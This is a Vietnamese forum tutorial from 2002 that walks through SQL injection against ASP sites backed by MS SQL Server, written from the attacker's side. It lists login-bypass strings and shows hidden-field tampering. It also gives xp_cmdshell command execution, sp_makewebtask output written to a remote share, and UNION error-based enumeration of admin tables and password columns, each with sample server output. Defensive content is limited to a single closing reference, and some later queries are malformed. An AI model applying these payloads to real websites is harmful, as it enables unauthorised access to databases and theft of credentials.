PDA

View Full Version : [tutor]



Maxx
27-12-2002, 22:37
SQL INJECTION cơ bản và nâng cao .


1) Tìm hiểu về SQL INJECTION :

Mấy bữa nay sau khi có bài viết về SQL INJECTION trên PCWORLD 12
thì đi đâu cũng thấy xôn xao về chuyện này .Bài viết này ra đời nhằm giúp các bạn có một cái nhìn tổng thể về lỗi bảo mật khá nghiêm trọng này
Bằng cách nhúng các câu lệnh SQL vào form login hacker có thể lấy được quyền admin site của bạn một cách dễ dành mà không cần nhiều kiến thức cho lắm


2)Các bước của 1 hacker nhằm tấn công 1 trang Web :

* Dùng các search để engine để kiểm tra các trang web ASP có sử dụng cơ sở dữ liệu ,dùng các form để đăng nhập vào .

* Sau khi tìm được ví dụ http://target.com thử login vào với các user và pass sau :

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
") or ('a'='a

nếu thành công hacker đã có những gì mình cần mà không cần tốn nhiều công sức

tuy nhiên có 1 số site sử dụng các field ẩn làm thế nào để có thể đưa code vào đây
rất đơn giản hacker chỉ việc view source

<FORM action=example.asp method=post>
<INPUT type=hidden name=login value=C>
</FORM>

sau đó thay value bằng các giá trị cần thiết value="hi' or 1=1--"
rồi save lại sửa url cho phù hợp như action=http://target.com/example.asp
Sau đó hacker đã có thể đăng nhập mà không cần user & pass
Các bạn thấy sao rất đơn giản phải không ?

+++ NÂNG CAO +++

1)Dùng SQL INJECTION để thi hành lệnh :

Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức
SYSTEM, tương đương với mức truy cập Administrator trên
Windows. Hacker có thể dùng master..xp_cmdshell để thi hành lệnh
từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm
việc.

Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho
phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh
trên có được thi hành hay không, hacker có thể listen các ICMP
packet from 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được
thi hành.

2)Nhận output của SQL query

Ngoài ra hacker có thể dùng sp_makewebtask để ghi các output của SQL query
ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\outputl",
"SELECT * FROM INFORMATION_SCHEMA.TABLES"

folder "share" phải được share cho Everyone trước.

3) Nhận data qua 'database using ODBC error message'

Các error message của MS SQL Server thường đưa cho bạn những
thông tin quan trọng. Lấy ví dụ ở trên
http://target.com/example.asp?id=1, bây giờ chúng ta thử hợp nhất
integer '11' với một string khác lấy từ CSDL:

http://target.com/example.asp?id=1 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES--

System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất
cả các table có trên server. Field TABLE_NAME chứa tên của mỗi
table trong CSDL. Hacker chọn nó bởi vì hacker ta biết rằng
nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Dòng query này sẽ trả về tên của table đầu tiên trong CSDL

Khi hacker UNION string này với số integer 10, MS SQL Server
sẽ cố thử chuyển một string (nvarchar) thành một số integer.
Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang
int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data
type int. /example.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer
nhưng không được, "table1". Đây cũng chính là tên của table
đầu tiên trong CSDL mà hacker đang muốn có.

Để lấy tên của tên của table tiếp theo, hacker có thể dùng query
sau:

http://target.com/example.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

hacker cũng có thể search data bằng từ khóa LIKE:

http://target.com/example.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'admin_login' to a column of
data type int. /example.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL
Server. Như bạn thấy trong error message trên, hacker có thể
xác định được tên của một table quan trọng là "admin_login".

Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các
column trong table. hacker có thể khai thác như sau:

http://target.com/example.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_id' to a column of data
type int. /example.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của
các column tiếp theo, hacker có thể dùng mệnh đề logic NOT IN ()
như sau:

http://target.com/example.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_name' to a column of data
type int. /example.asp, line 5

Làm tương tự như trên, hacker có thể lấy được tên của các column
còn lại như "password", "details". qua error message error sau:

http://target.com/example.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'
WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items
must appear in the select list if the statement contains a
UNION operator. /example.asp, line 5


Tác hại của các error messages rất nghiêm trọng cách khắc phục
hãy xem bài (TỰ TẠO CÁC TRANG BÁO LỖI ASP TÙY BIẾN - PC WORLD 12)

mệt quá để mai tiếp hic